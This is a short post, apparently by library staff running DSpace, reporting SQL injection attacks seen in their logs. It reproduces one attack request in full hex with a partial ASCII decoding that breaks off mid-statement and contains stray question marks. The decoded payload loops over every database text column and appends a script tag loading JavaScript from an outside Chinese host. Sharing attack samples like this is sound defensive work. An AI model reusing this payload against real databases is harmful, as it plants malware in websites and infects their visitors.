SQL injection attacks on dspace
We have been getting a large number of SQL inject attacks. Below is the raw hex of these attacks and the ascii translations.
Raw hex:
www.lib.umn.edu/libdata/page_print.phtml?page_id=1337';
DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x
4445434C415245204054207661726368617228323535292C4043207661
7263686172283430303029204445434C415245205461626C655F437572
736F7220435552534F5220464F522073656C65637420612E6E616D652C
622E6E616D652066726F6D207379736F626A6563747320612C73797363
6F6C756D6E73206220776865726520612E69643D622E696420616E6420
612E78747970653D27752720616E642028622E78747970653D3939206F
7220622E78747970653D3335206F7220622E78747970653D323331206F
7220622E78747970653D31363729204F50454E205461626C655F437572
736F72204645544348204E4558542046524F4D20205461626C655F4375
72736F7220494E544F2040542C4043205748494C452840404645544348
5F5354415455533D302920424547494E20657865632827757064617465
205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B
275D2B2727223E3C2F7469746C653E3C736372697074207372633D2268
7474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A
73223E3C2F7363726970743E3C212D2D272720776865726520272B4043
2B27206E6F!
ASCII
DECLARE @T varchar(255),@C va?rchar(4000) DECLARE
Table_Cur?sor CURSOR FOR select a.name,?b.name from sysobjects a,
sysc?olumns b where a.id=b.id and ?a.xtype='u' and
(b.xtype=99 o?r b.xtype=35 or b.xtype=231 o?r b.xtype=167) OPEN
Table_Cur?sor FETCH NEXT FROM Table_Cu?rsor INTO @T,@C
WHILE(@@FETCH?_STATUS=0) BEGIN exec('update? ['+@T+']
set ['+@C+']=['+@C+?']+''">
(If you haven't left a comment here before, you may need to be approved by the site owner before your comment will appear. Until then, it won't appear on the entry. Thanks for waiting.)